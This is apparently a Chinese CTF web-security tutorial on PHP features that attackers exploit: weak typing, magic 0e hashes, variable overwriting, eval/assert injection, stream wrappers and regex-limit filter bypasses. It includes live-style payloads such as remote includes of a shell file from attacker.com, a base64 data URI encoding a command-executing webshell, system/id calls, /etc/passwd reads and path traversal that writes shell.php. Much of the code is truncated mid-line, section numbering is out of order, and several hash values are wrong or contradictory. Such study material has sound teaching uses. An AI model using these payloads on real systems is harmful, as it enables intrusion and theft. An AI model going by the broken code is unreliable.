P01 PHP 特性

2022-03-09 CTF-WEB 詹英

梳理 PHP 语言中可被安全利用的各类特性,包括弱类型、变量覆盖、正则特性等。

1、弱类型与类型转换

1.1 PHP 类型系统概述

PHP 是弱类型语言,变量类型在运行时动态确定,且会在不同上下文中自动转换,这种隐式转换是大量安全漏洞的根源。

<?php
// PHP 基本类型
$i = 42;          // integer
$f = 3.14;        // float
$s = "hello";     // string
$b = true;        // boolean
$n = null;        // NULL
$a = [1, 2, 3];   // array
$o = stdClass; // object

1.2 字符串到数字的转换规则

<?php
// 字符串转整数:取前导数字部分,无数字则为 0
(int)"1abc"      // → 1
(int)"abc"       // → 0
(int)"0x1A"      // → 0  (PHP 7+,不解析十六进制字符串)
(int)"010"       // → 10 (十进制,非八进制!)
(int)" 42 "      // → 42 (忽略空白)
(int)"1e3"       // → 1  (注意:不会解析为1000)

// 字符串在数值运算中自动转换
"5" + 3          // → 8
"5 cats" + 3     // → 8,PHP 8 会报 Deprecated
"cats 5" + 3     // → 3

// 浮点数转换
(float)"1.5abc"  // → 1.5
(float)"1e5"     // → 100000.0

1.3 布尔值转换规则(重要!)

以下值转换为 false,其余均为 true

<?php
// 转换为 false 的值
(bool) 0          // false
(bool) 0.0        // false
(bool) ""         // false(空字符串)
(bool) "0"        // false(字符串 "0"!)
(bool) []         // false(空数组)
(null       // false

// 容易误判的真值
(bool) "false"    // true!(非空非"0"字符串)
(bool) "0.0"      // true!(不是"0")
(bool) " "        // true!(有空格)
(bool) []         // false(空数组)
(bool) [0]        // true(非空数组)
(bool) -1         // true(非零整数)

// CTF 利用场景
if ($input) {
    // 传入 "false" → 条件为真!
    // 传入 [] → 条件为假!
}

1.4 NULL 的类型转换

<?php
(null       // false
(null       // 0
(null     // ""(空字符串)
(null     // [](空数组)

// NULL 比较特性
false     // true
null == 0         // true
null == ""        // true
null == "0"       // false(注意!)
false    // false(严格比较)
null     // true

2、比较运算特性

2.1 松散比较(==)vs 严格比较(===)

<?php
// ── 严格比较(===):类型和值都必须相同 ──
0   === false  // false
"" === false   // false
"1" === 1      // false

// ── 松散比较(==):先类型转换再比较 ──
// 这是漏洞的主要来源!
0    == false  // true
0    == null   // true
0    == ""     // true(PHP 8 已修复!)
0    == "0"    // true
0    == "foo"  // true(PHP 7),false(PHP 8!)
"1"  == true   // true
"0"  == false  // true
false  // true
null == ""     // true
100  == "1e2"  // true(科学计数法!)
0    == "a"    // PHP 7: true | PHP 8: false(重要差异)

2.2 PHP 7 弱类型比较大表

<?php
// 数字字符串与整数比较(PHP 7)
"0"   == false  // true
"0"   == null   // false
"0"   == 0      // true
""    == false  // true
""    == null   // true
""    == 0      // true(PHP 7!PHP 8 改为 false)
"php" == 0      // true(PHP 7!PHP 8 改为 false)
"1"   == "01"   // true(数字字符串比较)
"1"   == "1.0"  // true
"10"  == "1e1"  // true(科学计数法比较)

// 利用数字型字符串绕过
// PHP 7: 字符串与0比较,字符串先转整数
// "admin" → 0,所以 "admin" == 0 为 true

2.3 switch / case 使用松散比较

<?php
// switch 使用 == 进行比较!
$input = "a";
switch ($input) {
    case 0:       // "a" == 0 → true(PHP 7)
        echo "matched 0!";  // 可能命中这里!
        break;
    case "a":
        echo "matched a";
        break;
}

// 利用场景
function getPage($page) {
    switch ($page) {
        return "home.php";
        return "about.php";
        return "404.php";
    }
}
getPage("1 or 1=1");  // "1 or 1=1" == 1 → true,返回 home.php

2.4 in_array 的松散比较

<?php
// in_array 默认使用 == 比较
in_array(0, ["admin", "user"])  // true(PHP 7,"admin"==0)
in_array("1", [1, 2, 3])        // true
in_array(true, [""])             // false
in_array("", [false])           // true
in_array(0, [""])               // true

// 利用场景:白名单绕过
$whitelist = ["admin", "user", "guest"];
$role = $_GET['role'];  // 传入 0
if (in_array($role, $whitelist)) {
    // PHP 7 中 0 == "admin" → 条件为真!
    grantAccess();
}

// 安全写法:使用严格模式
in_array($role, $whitelist, true)  // 第三个参数为 true

2.5 strcmp / strcasecmp 特性

<?php
// strcmp 期望字符串参数
// 若传入数组,PHP 5.x 返回 NULL,== 0 为 true
strcmp("admin", [])   // PHP 5.x → NULL
NULL == 0             // true
// PHP 7.1+ 会发出 Warning 但仍返回 NULL

// CTF 利用
if (strcmp($_GET['pass'], $secret_password) == 0) {
    // 传入 pass[]=anything
    // strcmp("secret", []) → NULL
    // NULL == 0 → true,绕过密码验证!
}

// strcasecmp 同样受影响
strcasecmp("admin", [])  // → NULL(PHP 5.x)

2.6 md5 / sha1 的数组绕过

<?php
// md5 / sha1 传入数组时返回 NULL(PHP < 8)
md5([])    // NULL + Warning
sha1([])   // NULL + Warning

// CTF 经典绕过
if (md5($_GET['a']) === md5($_GET['b']) && $_GET['a'] !== $_GET['b']) {
    // 方法一:传入数组(松散比较场景)
    // ?a[]=1&b[]=2 → md5([1])==NULL, md5([2])==NULL, NULL==NULL→true
    // 但若用 ===,NULL === NULL → true(同样有效!)
    echo "flag";
}

// 注意:PHP 8 中 md5([]) 抛出 TypeError!

2.7 科学计数法与哈希碰撞

<?php
// PHP 松散比较中,"0e..." 开头的字符串会被当作浮点数 0
"0e12345" == "0e99999"   // true!(都等于 0^n = 0)
"0e12345" == 0           // true

// md5 "魔术哈希"(0e 开头)
// 以下字符串的 md5 值均以 0e 开头:
// "240610708"  → md5 = 0e462097431906509019562988736854
// "QNKCDZO"    → md5 = 0e830400451993494058024219903391
// "aabg7XSs"   → md5 = 0e087386482136013740957780965295
// "aabC9RqS"   → md5 = 0e041022518165728065344349536299
// "aaroZmOk"   → md5 = 0e66507019969427134894567494305
// "aaK1STfY"   → md5 = 0e76658526655756207688271159624022

if (md5($_GET['str']) == "0e830400451993494058024219903391") {
    // 传入 "QNKCDZO" → md5 = "0e830400451993494058024219903391"
    // 或传入任何 md5 以 0e 开头的字符串
    echo "access granted";
}

// sha1 魔术哈希
// "aaO8zKZF"  → sha1 = 0e89133099628337622361828853410190
// "sha1" . "10932435112" → 0e...

// sha256 0e 开头的碰撞也存在,但较难找

// 绕过双重 md5
if (md5(md5($_GET['str'])) == 0) {
    // 找一个 md5 后的结果 md5 为 0e... 的字符串
}

3、变量覆盖

3.1 extract() 变量覆盖

<?php
// extract() 从数组中导入变量到当前符号表
// 如果键名与已有变量重名,默认覆盖!

$secret = "admin123";
extract($_GET);  // ← 危险!

// 攻击:?secret=hacked
// $secret 被覆盖为 "hacked"

// 经典利用场景
$auth = false;
$role = "guest";

extract($_POST);  // POST: auth=1&role=admin

if ($auth) {
    // 可以以 admin 身份进入
    grantAdminAccess($role);
}

// 更危险:覆盖数据库连接变量
$db_pass = "real_password";
extract($_GET);
// ?db_pass=hacked → 数据库密码被覆盖

// 安全写法:使用 EXTR_SKIP 避免覆盖
extract($_GET, EXTR_SKIP);       // 跳过已存在的变量
extract($_GET, EXTR_PREFIX_ALL, "user");  // 为所有导入的变量加前缀

3.2 parse_str() 变量覆盖

<?php
// parse_str() 解析 URL 查询字符串,不指定第二个参数时直接写入当前作用域
$auth = false;

parse_str($_GET['data']);  // 危险!直接覆盖当前变量

// 攻击:?data=auth=1
// $auth 被覆盖为 "1"(truthy)

// 另一个危险场景
$role = "user";
parse_str("role=admin&id=1");  // 直接修改 $role

// 带注入字符的利用
parse_str("a[0]=1&a[1]=2");  // 创建 $a = [0=>1, 1=>2]

// 安全写法:指定第二个参数(结果存入数组而非当前作用域)
parse_str($_GET['data'], $params);
echo $params['key'];  // 安全,不会覆盖已有变量

3.3 $$(可变变量)覆盖

<?php
// 可变变量:变量名由另一个变量的值决定
$varname = "secret";
$$varname = "value";  // 等价于 $secret = "value"

// 危险场景:遍历用户输入设置变量
as $key => $value) {
    $$key = $value;  // 危险!用户可控任意变量
}

// 攻击:?auth=1&role=admin
// $auth = "1",$role = "admin"

// 实战利用
$config = ['db_pass' => 'secret'];
as $k => $v) {
    $$k = $v;  // POST: config[db_pass]=hacked
    // $$k → $config = ['db_pass' => 'hacked'] 不一定
    // 但 POST: config=xxx → $config = "xxx"(覆盖数组)
}

// import_request_variables()(PHP < 5.4)
import_request_variables("GP");  // 将 GET/POST 导入全局作用域

3.4 $GLOBALS 覆盖

<?php
// $GLOBALS 是超全局变量,包含所有全局变量的引用
$password = "secret";
$user_input = $_GET['var'];

// 利用 $GLOBALS 读取全局变量
echo $GLOBALS['password'];  // 直接读取 $password

// 通过变量覆盖写入 $GLOBALS
$key = "password";
$GLOBALS[$key] = "hacked";  // 修改 $password

// extract 覆盖 GLOBALS
extract(["GLOBALS" => ["password" => "hacked"]]);
// 某些版本中会覆盖 $GLOBALS!

// register_globals 开启时(PHP < 5.4)
// GET/POST 参数自动变为全局变量
// ?auth=1 → $auth = "1"(无需任何代码)

4、字符串处理特性

4.1 字符串数字索引

<?php
// PHP 字符串可以像数组一样用数字索引访问
$str = "Hello";
echo $str[0];    // "H"
echo $str[-1];   // "o"(PHP 7.1+,负索引)
echo $str{0};    // "H"(PHP 7.4 已废弃,PHP 8 移除)

// 字符串与数组的模糊边界
$input = "admin";
echo $input[0];  // "a"
// 若期望数组但传入字符串,可能产生意外行为

// 利用:某些代码用 [0] 取第一个字符判断类型
if ($input[0] === '/') {
    // 认为是路径,但 $input 是字符串
}

4.2 字符串连接与类型转换

<?php
// 点号连接符会将两边转为字符串
true;   // "Result: 1"
false;  // "Result: "
null;   // "Result: "
echo "Result: " . [];     // Warning + "Result: Array"

// 字符串中的变量插值
$cmd = "id";
$cmd";         // 普通变量
{$cmd}";       // 大括号写法
$arr[0]";        // 数组(不需要引号)
{$arr['key']}";  // 带引号的键需要大括号

// 单引号 vs 双引号
echo '$cmd';    // 字面量 "$cmd",不解析变量
$cmd";    // 解析变量,输出 "id"
$cmd";   // 输出变量名 + 内容,如 "idid"(可变变量)

4.3 strpos / strstr 特性

<?php
// strpos 返回位置,找不到返回 false
// 当匹配位置为 0 时,返回 0
// 0 == false 在松散比较中为 true!

$path = "/etc/passwd";
false) {  // 危险!
    echo "Safe path";
}
// strpos("/etc/passwd", "/etc") = 0
// 0 == false → true,被错误判断为"安全路径"!

// 安全写法:使用 === 严格比较
false) {
    echo "Safe path";
}

// strstr 特性
strstr("admin@example.com", "@")  // "@example.com"(从@开始的部分)
strstr("admin@example.com", "@", true)  // "admin"(@之前的部分)

// 利用:邮箱验证绕过
$email = $_GET['email'];  // 传入 "attacker@evil.com@trusted.com"
if (strstr($email, "@trusted.com")) {
    // 通过验证,但实际邮件域是 evil.com
}

4.4 trim 与空白字符

<?php
// trim 默认去除的字符:
// " "(空格)\t \n \r \0 \x0B

// 但有些绕过技巧利用 trim 处理不了的字符
$input = "\x0c admin \x0c";  // 换页符
trim($input);  // 仅去除默认字符,\x0c 不在默认列表
// 结果:"\x0c admin \x0c"(未完全清理)

// 利用场景:某些过滤只用 trim
$username = trim($_POST['username']);
// 传入 " admin" → trim → "admin"(预期)
// 传入 "admin\x00" → trim 不去除 \x00(非默认)

// \x00 空字节截断(PHP 旧版本)
$file = $_GET['file'];
readfile("/files/" . trim($file) . ".txt");
// 传入 "../../etc/passwd\x00"
// trim 不处理,\x00 截断 .txt → 读取 /etc/passwd

4.5 substr / str_replace 特性

<?php
// substr 负数索引
substr("Hello", -3)     // "llo"
substr("Hello", 0, -1)  // "Hell"

// 利用:某些代码用 substr(-4) 检测文件扩展名
$file = "shell.php.jpg";
$ext = substr($file, -4);  // ".jpg",通过检测
// 但服务器可能按第一个扩展名处理

// str_replace 非递归
$input = "....//";
str_replace("../", "", $input);
// 结果:"../"(删除中间的 ../,留下两边合并的 ../)!

// 多次 str_replace 绕过
$input = "php://filter";
str_replace(["php", "filter"], "", $input);
// 一次性替换,不互相影响
// 若先替换 "php" → "://filter",再替换 "filter" → "://"

// 大小写绕过 str_ireplace
str_replace("PHP", "", "PHP")    // ""(区分大小写)
str_ireplace("PHP", "", "pHp")   // ""(不区分大小写)
// 绕过:若只用 str_replace,则 pHp → pHp(未被替换)

5、数字与进制特性

5.1 PHP 整数溢出

<?php
// PHP_INT_MAX 在 64 位系统上为 9223372036854775807
echo PHP_INT_MAX;        // 9223372036854775807
echo PHP_INT_MAX + 1;    // 9.2233720368548E+18(浮点数!)
echo PHP_INT_MIN;        // -9223372036854775808

// 整数溢出利用
$price = $_GET['price'];  // 传入极大数值
$total = $price * 100;    // 溢出变成负数或浮点数
if ($total < 0) $total = 0;  // 某些代码如此处理

// 浮点数精度问题
0.1 + 0.2 == 0.3  // false!
0.1 + 0.2         // 0.30000000000000002

5.2 进制表示利用

<?php
// PHP 支持多种数字字面量
$a = 0b1010;   // 二进制:10
$b = 0o12;     // 八进制:10(PHP 8.1+)
$c = 012;      // 八进制:10(旧写法)
$d = 0x0A;     // 十六进制:10
$e = 1_000_000; // 数字分隔符(PHP 7.4+):1000000

// 字符串进制转换
octdec("17")   // 8进制 17 → 15
decoct(15)     // 15 → "17"
hexdec("1f")   // 16进制 1f → 31
dechex(31)     // 31 → "1f"
bindec("1010") // 2进制 → 10
base_convert("1a", 16, 10)  // → "26"

// 利用:绕过数字过滤
// 若过滤了数字字符,可用 PHP 进制转换函数
// base_convert(11, 10, 36) → "b"(字母)
// 用 base_convert 构造任意字符串
echo base_convert(10, 10, 36);  // "a"
echo base_convert(35, 10, 36);  // "z"

// 构造 "system" 不使用字母
// s=28, y=34, s=28, t=29, e=14, m=22(36进制)
// base_convert("28342914" + ... , 36, 10) 不直接,需分字符

5.3 NaN 与 INF

<?php
// INF(无穷大)和 NAN(非数字)
$inf = INF;
$nan = NAN;

$inf + 1    // INF
$inf == INF // true
is_nan($nan)  // true
is_infinite($inf)  // true
is_finite($inf)    // false

// NAN 的特殊比较行为
NAN == NAN   // false(NaN 不等于自身!)
NAN === NAN  // false
is_nan(NAN)  // true

// 利用
$price = (float)$_GET['price'];
if ($price == $price) {  // NAN 传入时为 false
    // 这个检查可能被绕过
}

6、危险函数特性

6.1 eval 与 assert

<?php
// ── eval ──
// 执行字符串作为 PHP 代码
eval("echo 'hello';");

// eval 不是函数,是语言结构,不能被变量调用
$f = 'eval';
$f("echo 1;");  // Fatal Error!eval 不能作为变量函数

// ── assert(PHP < 8.0)──
// PHP 5.x/7.x 中,assert(string) 相当于 eval
assert("system('id')");  // 直接执行命令!

// PHP 7 中 assert 仍是函数,可以作为回调
call_user_func('assert', "system('id')");
array_map('assert', ["system('id')"]);

// PHP 8 中 assert 不再执行字符串!
assert("1 == 1");  // PHP 8: 直接比较,不 eval

// ── create_function(PHP < 8.0)──
// 动态创建函数,本质上是 eval
$func = create_function('', "system('id');");
$func();  // 执行

// create_function 的代码注入
$code = $_GET['code'];
$func = create_function('$x', "return $code;");
// 攻击:?code=system('id');//
// 实际:return system('id');//;(双分号后面代码被注释)

6.2 preg_replace /e 修饰符(PHP < 7.0)

<?php
// /e 修饰符使替换字符串作为 PHP 代码执行(PHP 7.0 已废弃)

// 漏洞代码
$pattern = $_GET['pattern'];  // 用户可控正则
$replace = $_GET['replace'];  // 用户可控替换
$str = "Hello World";
preg_replace("/$pattern/e", $replace, $str);

// 攻击:
// pattern=(.*)
// replace=system('id')

// 更隐蔽的场景
preg_replace('/<b>(.*?)<\/b>/e', $replace, $html);
// 攻击 replace:$_GET[cmd]  或  system($_GET[cmd])

// PHP 7.0+ 的替代方案(安全)
preg_replace_callback('/<b>(.*?)<\/b>/', $m) {
    return strtoupper($m[1]);  // 使用回调函数,不执行任意代码
}, $html);

6.3 动态函数调用

<?php
// 变量函数:变量值作为函数名调用
$func = $_GET['func'];
$arg  = $_GET['arg'];
$func($arg);  // 危险!

// 攻击:?func=system&arg=id

// 数组回调
call_user_func($_GET['func'], $_GET['arg']);
call_user_func_array($_GET['func'], [$_GET['arg']]);

// 高阶函数回调
array_map($_GET['func'], [$_GET['arg']]);
array_filter([$_GET['arg']], $_GET['func']);
usort($arr, $_GET['func']);

// 利用:可以调用任何 PHP 函数
// ?func=phpinfo&arg=1
// ?func=system&arg=id
// ?func=file_get_contents&arg=/etc/passwd
// ?func=eval&arg=... (eval 不行,语言结构!)

// 对象方法调用
call_user_func([$obj, $_GET['method']], $_GET['arg']);
// 若能控制方法名,可调用对象的任意 public 方法

6.4 include / require 特性

<?php
// include / require 可以通过变量函数调用
$func = "include";
$func($_GET['file']);  // 等价于 include($_GET['file'])

// 但 include 不能直接作为字符串回调
// call_user_func("include", "file.php");  // 不工作

// 包含外部 URL(需要 allow_url_include = On)
include "http://attacker.com/shell.txt";
include "ftp://attacker.com/shell.txt";

// 包含数据 URI
include "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+";

// 包含 PHP 流
include "php://input";  // POST 数据作为 PHP 执行
include "php://filter/convert.base64-encode/resource=config.php";

// 包含压缩文件
include "zip://upload.zip#shell.php";
include "phar://upload.phar/shell.php";

7、数组函数特性

7.1 array_search 与 in_array 松散比较

<?php
// array_search 默认使用松散比较
$users = [0 => 'admin', 1 => 'user', 2 => 'guest'];

array_search(0, $users)     // 0(因为 0 == 'admin' 在 PHP 7 中)
array_search('admin', $users)  // 0
array_search(false, $users)    // 0(false == '' == 0 == 'admin')

// 利用:角色/权限检查绕过
$valid_roles = ['user', 'admin', 'superadmin'];
false) {
    // 看似检查了角色,但...
    // 传入 role=0 → 找到 'user'(位置0),返回0
    // 0 !== false → true,通过检查
    // 但 $_GET['role'] 是 "0",不是合法角色名!
}

7.2 数组与字符串的交互

<?php
// 数组转字符串
$arr = [1, 2, 3];
echo $arr;           // Warning: Array to string conversion → "Array"
string)$arr;   // "Array"
echo json_encode($arr);  // "[1,2,3]"
echo implode(',', $arr); // "1,2,3"

// 数组参数绕过函数检测
// 许多期望字符串的函数传入数组时行为异常:
strlen([])          // Warning + null
substr([], 0)       // Warning + false
md5([])             // Warning + null(PHP < 8)
sha1([])            // Warning + null(PHP < 8)
strcmp([], "str")   // Warning + null

// 利用数组绕过过滤函数
$input = $_GET['input'];  // 传入 input[]=payload
if (preg_match('/dangerous/', $input)) {  // $input 是数组
    die("blocked");  // preg_match 对数组返回 false + Warning
}
eval($input);  // $input 是数组,eval 失败...不同版本行为不同

7.3 紧凑数组函数特性

<?php
// compact() 从当前符号表提取变量为数组
$name = "Alice";
$age = 20;
$data = compact("name", "age");  // ['name' => 'Alice', 'age' => 20]

// 利用:结合变量覆盖
extract($_GET);           // 先用用户输入设置任意变量
$data = compact("role");  // 将被污染的变量打包

// array_splice 引用特性
$arr = [1, 2, 3, 4, 5];
$removed = array_splice($arr, 1, 2);  // 修改原数组(引用传递)

// list() 与 [] 解构
[$a, $b, $c] = [1, 2, 3];
list($x, , $z) = [10, 20, 30];  // 跳过第二个元素

// 利用 list 覆盖变量
list($admin, $role) = explode(',', $_GET['input']);
// 输入:input=1,admin → $admin=1, $role="admin"

8、正则表达式特性

8.1 preg_match 返回值

<?php
// preg_match 返回值:
// 1  = 匹配成功
// 0  = 未匹配
// false = 错误(正则无效或发生错误)

// 注意:传入数组时返回 false,不是 0!
preg_match('/^\d+$/', [])   // false(数组)
preg_match('/^\d+$/', "")   // 0(空字符串,不匹配)
preg_match('/^\d+$/', "5")  // 1(匹配)

// 利用:松散比较绕过
$input = $_GET['id'];
false) {  // 危险!
    die("Not a number");
}
// 传入 id[]=anything → preg_match 返回 false
// false == false → true → die
// 传入 id[]=attack → 通过检测?不是,这会导致 die
// 但如果逻辑是:
if (!preg_match('/dangerous/', $input)) {
    eval($input);  // 传入 input[]=anything → !false → true
}

8.2 正则回溯限制(ReDoS 与绕过)

<?php
// pcre.backtrack_limit 默认为 1000000
// 超过此限制,preg_match 返回 false!

$pattern = '/^(a+)+$/';
$input = str_repeat('a', 30) . '!';
$result = preg_match($pattern, $input);
// 超过回溯限制 → $result = false

// CTF 利用:绕过正则过滤
$blacklist_pattern = '/system|exec|passthru|phpinfo/i';
$input = $_GET['code'];

// 构造超长输入使回溯次数超过限制
$malicious = str_repeat('a', 1000000) . 'system("id")';
$result = preg_match($blacklist_pattern, $malicious);
// $result = false(超过回溯限制!)

if (!$result) {
    eval($malicious);  // 绕过过滤,执行命令!
}

// 检测当前回溯限制
echo ini_get('pcre.backtrack_limit');
// 临时修改(如果有权限)
ini_set('pcre.backtrack_limit', 1);  // 降低限制使攻击更容易

8.3 正则模式特性

<?php
// ── s 修饰符:点号匹配换行 ──
preg_match('/admin.password/s', "admin\npassword")  // 1

// ── m 修饰符:多行模式 ──
// ^ 和 $ 匹配每行的开始和结束
preg_match('/^admin$/m', "user\nadmin\ntest")  // 1

// ── 利用 ^ 与 $ 的多行绕过 ──
$input = $_POST['username'];
if (preg_match('/^admin$/', $input)) {
    // 不带 m 修饰符,^ 只匹配字符串开始,$ 只匹配字符串结束
    // 但某些情况下开发者误用了 m 修饰符:
}

if (preg_match('/^[a-zA-Z0-9]+$/m', $input)) {
    // 多行模式!传入 "safe\nsystem('id')"
    // ^ 匹配第一行 "safe",通过检测!
    // 但后面可能还有恶意代码
    eval($input);  // 实际执行了恶意代码
}

// ── i 修饰符绕过 ──
// 无 i 修饰符时,可以用大小写绕过关键词检测
preg_match('/system/', 'System')     // 0(不匹配)
preg_match('/system/i', 'System')    // 1(匹配)

9、哈希函数特性

9.1 MD5 碰撞与绕过

<?php
// ── 方法一:0e 魔术哈希 ──
// 以下字符串 md5 均以 0e 开头
$magic_md5 = [
    "240610708",   // md5 = 0e462097431906509019562988736854
    "QNKCDZO",     // md5 = 0e830400451993494058024219903391
    "aabg7XSs",    // md5 = 0e087386482136013740957780965295
    "aabC9RqS",    // md5 = 0e041022518165728065344349536299
    "aaroZmOk",    // md5 = 0e66507019969427134894567494305
    "aaK1STfY",    // md5 = 0e76658526655756207688271159624022
    "aaO8zKZF",    // md5 = 0e89130729658042533547011905060858
];

// 利用
if (md5($_GET['a']) == md5($_GET['b'])) {
    // 传入两个 0e 开头的字符串
    // ?a=QNKCDZO&b=240610708 → 两者 md5 均约等于 0 → 相等!
}

// ── 方法二:数组绕过(!==/== 下)──
md5([]) == md5([])   // NULL == NULL → true(松散)
md5([]) === md5([])  // NULL === NULL → true(严格,但两者相等)

// ── 方法三:md5 强碰撞(===)──
// 已知 MD5 碰撞对(十六进制字符串,二进制相同 MD5)
// 用于 md5($_a) === md5($_b) 且 $_a !== $_b
$a = "\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$b = "\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
// md5($a) === md5($b) → true,$a !== $b → true

// 注:通过 URL 传输二进制需要 URL 编码,或通过文件上传传入

9.2 SHA1 与其他哈希特性

<?php
// SHA1 0e 魔术哈希
$magic_sha1 = [
    "aaO8zKZF",   // sha1 = 0e89130729658042533547011905060858(注:这同时也是md5的)
    "sha1" => [
        "10932435112",  // sha1 = 0e07766915004133176347055865026311842794
        "aaroZmOk",     // sha1 = 0e66507019969427134894567494305
    ]
];

// hash_hmac 特性
hash_hmac('sha256', 'data', [])  // PHP < 8:返回 false(密钥为数组)
// NULL 比较绕过(松散)

// password_verify 特性
password_verify([], $hash)  // PHP < 7.4 可能返回 true(传入数组)

// crc32 整数溢出
$crc = crc32("string");  // 可能返回负整数(32 位溢出)

11、文件函数特性

10.1 file_get_contents 特性

<?php
// file_get_contents 支持多种协议(流包装器)
file_get_contents("http://attacker.com/");   // HTTP 请求(SSRF)
file_get_contents("file:///etc/passwd");     // 本地文件
file_get_contents("php://filter/convert.base64-encode/resource=index.php");
file_get_contents("data://text/plain,<?php system('id');?>");  // 数据 URI

// HTTP 上下文选项(绕过某些检查)
$ctx = stream_context_create([
    'http' => [
        'method' => 'POST',
        'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
        'content' => 'data=payload'
    ]
]);
file_get_contents("http://internal-api/endpoint", false, $ctx);

// 利用 file_get_contents 作为 SSRF
$url = $_GET['url'];
echo file_get_contents($url);  // SSRF 入口

10.2 文件名处理特性

<?php
// basename 过滤路径(但有字符集问题)
basename("/etc/passwd")        // "passwd"
basename("/var/www/html/")     // ""(末尾斜杠)
basename("../../etc/passwd")   // "passwd"(仅保留文件名部分)

// 但多字节字符可能绕过(locale 依赖)
// 在某些 locale 设置下,特殊 UTF-8 字节序列可能截断 basename 的处理

// pathinfo 特性
pathinfo("/path/to/file.php.jpg")
// ['dirname'=>'/path/to', 'basename'=>'file.php.jpg',
//  'extension'=>'jpg', 'filename'=>'file.php']

pathinfo("file.PHP")['extension']  // "PHP"(不自动转小写!)

// realpath 特性
realpath("/etc/./passwd")     // "/etc/passwd"
realpath("/etc/../etc/passwd")// "/etc/passwd"
realpath("/nonexistent")      // false(不存在返回 false)

// 利用:绕过路径白名单检查
$file = $_GET['file'];
die("blocked");
// 绕过:?file=/etc/./passwd(strpos 找不到,但 realpath 解析为 /etc/passwd)

10.3 文件上传函数特性

<?php
// move_uploaded_file 目标路径处理
// 若目标文件名以 \0 结尾,在 PHP < 5.4 中会截断
move_uploaded_file($tmp, "/uploads/file.php\0.jpg");
// PHP < 5.4:保存为 file.php(\0 截断 .jpg)!

// file_put_contents 的 flags
FILE_APPEND    // 追加而非覆盖
LOCK_EX        // 获取文件锁

// 目录穿越写文件
file_put_contents("/uploads/" . $_GET['filename'], "content");
// ?filename=../../var/www/html/shell.php
// 写入 Web 目录!

// 利用 php://output 等特殊目标
file_put_contents("php://memory", "data");  // 写入内存

11、PHP 版本差异特性

11.1 PHP 5 → PHP 7 重要变化

<?php
// ── 弱类型比较变化 ──
// PHP 5: "abc" == 0  → true
// PHP 7: "abc" == 0  → true(仍然!)
// PHP 8: "abc" == 0  → false(重大变化!)

// ── md5([]) 变化 ──
// PHP 5/7: md5([]) → null(返回 NULL,Warning)
// PHP 8:   md5([]) → TypeError

// ── strcmp 数组变化 ──
// PHP 5:   strcmp("a", []) → null(静默)
// PHP 7:   strcmp("a", []) → null(Warning)
// PHP 8:   strcmp("a", []) → TypeError

// ── assert 字符串执行变化 ──
// PHP 5/7: assert("system('id')")  → 执行命令
// PHP 8:   assert("system('id')")  → 不执行(仅作布尔值)

// ── preg_replace /e 变化 ──
// PHP 5:   支持 /e 修饰符(执行替换字符串)
// PHP 7:   废弃(Deprecated Warning)
// PHP 8:   移除(错误)

11.2 PHP 8 新特性利用

<?php
// ── 命名参数(Named Arguments,PHP 8.0)──
$c"; }
test(c: 3, a: 1, b: 2);  // "1 2 3"
// 利用:绕过参数顺序限制

// ── 联合类型(Union Types)──
void { ... }
// 可以传入 int 或 string,增加了弱类型边界

// ── 匹配表达式(Match,PHP 8.0)──
$result = true) {
    $x == 1 => "one",
    $x == 2 => "two",
    default => "other"
};
// match 使用严格比较(===),不受弱类型影响!
// 但 match(0) { "abc" => ... } 不会匹配(PHP 8 改变了数字与字符串比较)

// ── Nullsafe 操作符(PHP 8.0)──
$result = $obj?->method()?->property;
// 若 $obj 为 null,返回 null 而非报错

// ── Fibers(PHP 8.1)──
$fiber = void {
    $value = Fiber::suspend('first');
    echo "Got: " . $value . PHP_EOL;
});
// 协程式执行,某些安全研究中可用于绕过执行流限制

11.3 PHP 特殊配置项

<?php
// register_globals(PHP < 5.4)
// 开启后 GET/POST 参数自动变为全局变量
// ini_get('register_globals')

// magic_quotes_gpc(PHP < 5.4)
// 开启后自动转义 GET/POST 中的特殊字符
// 可用 stripslashes() 还原,或用宽字节绕过

// allow_url_fopen
// 控制是否允许通过 URL 打开文件
echo ini_get('allow_url_fopen');   // 1 = On

// allow_url_include
// 控制是否允许 include/require 远程 URL
echo ini_get('allow_url_include'); // 0 = Off(默认)

// open_basedir
// 限制 PHP 可访问的文件路径
echo ini_get('open_basedir');      // 若设置,限制文件访问范围

// 绕过 open_basedir
// 方法1:symlink(创建符号链接到受限目录外)
// 方法2:glob:// 协议(某些版本可绕过)
// 方法3:chdir + ini_set(需要特定权限)
chdir("/tmp"); ini_set('open_basedir', '..');
chdir(".."); ini_set('open_basedir', '..');
// 逐层跳出 open_basedir 限制

12、CTF 常见考点速查

12.1 弱类型绕过速查

<?php
// ─── 场景:md5 / sha1 绕过 ───────────────────────
// 松散比较(==)用 0e 哈希
// ?a=QNKCDZO&b=240610708    (md5 均为 0e...)

// 严格比较(===)用强碰撞二进制
// 或用数组(PHP < 8):?a[]=1&b[]=2

// ─── 场景:strcmp 绕过 ────────────────────────────
// ?pass[]=anything
// strcmp("secret", []) → null == 0 → true

// ─── 场景:in_array 白名单绕过 ───────────────────
// 传入整数 0,与字符串比较 0 == "admin"(PHP 7)

// ─── 场景:switch 绕过 ───────────────────────────
// case 使用松散比较,传入 "0.0" 匹配 0

// ─── 场景:preg_match 绕过 ───────────────────────
// 传入数组:preg_match('/bad/', []) → false → !false → true
// 超长字符串导致回溯超限:preg_match → false

// ─── 场景:intval 绕过 ───────────────────────────
intval("1 union select")  // → 1(取前导数字)
intval("0x1A")             // → 0(PHP 7+)

// ─── 场景:is_numeric 特性 ───────────────────────
is_numeric("1337")     // true
is_numeric("0x1A")     // PHP 5: true | PHP 7+: false
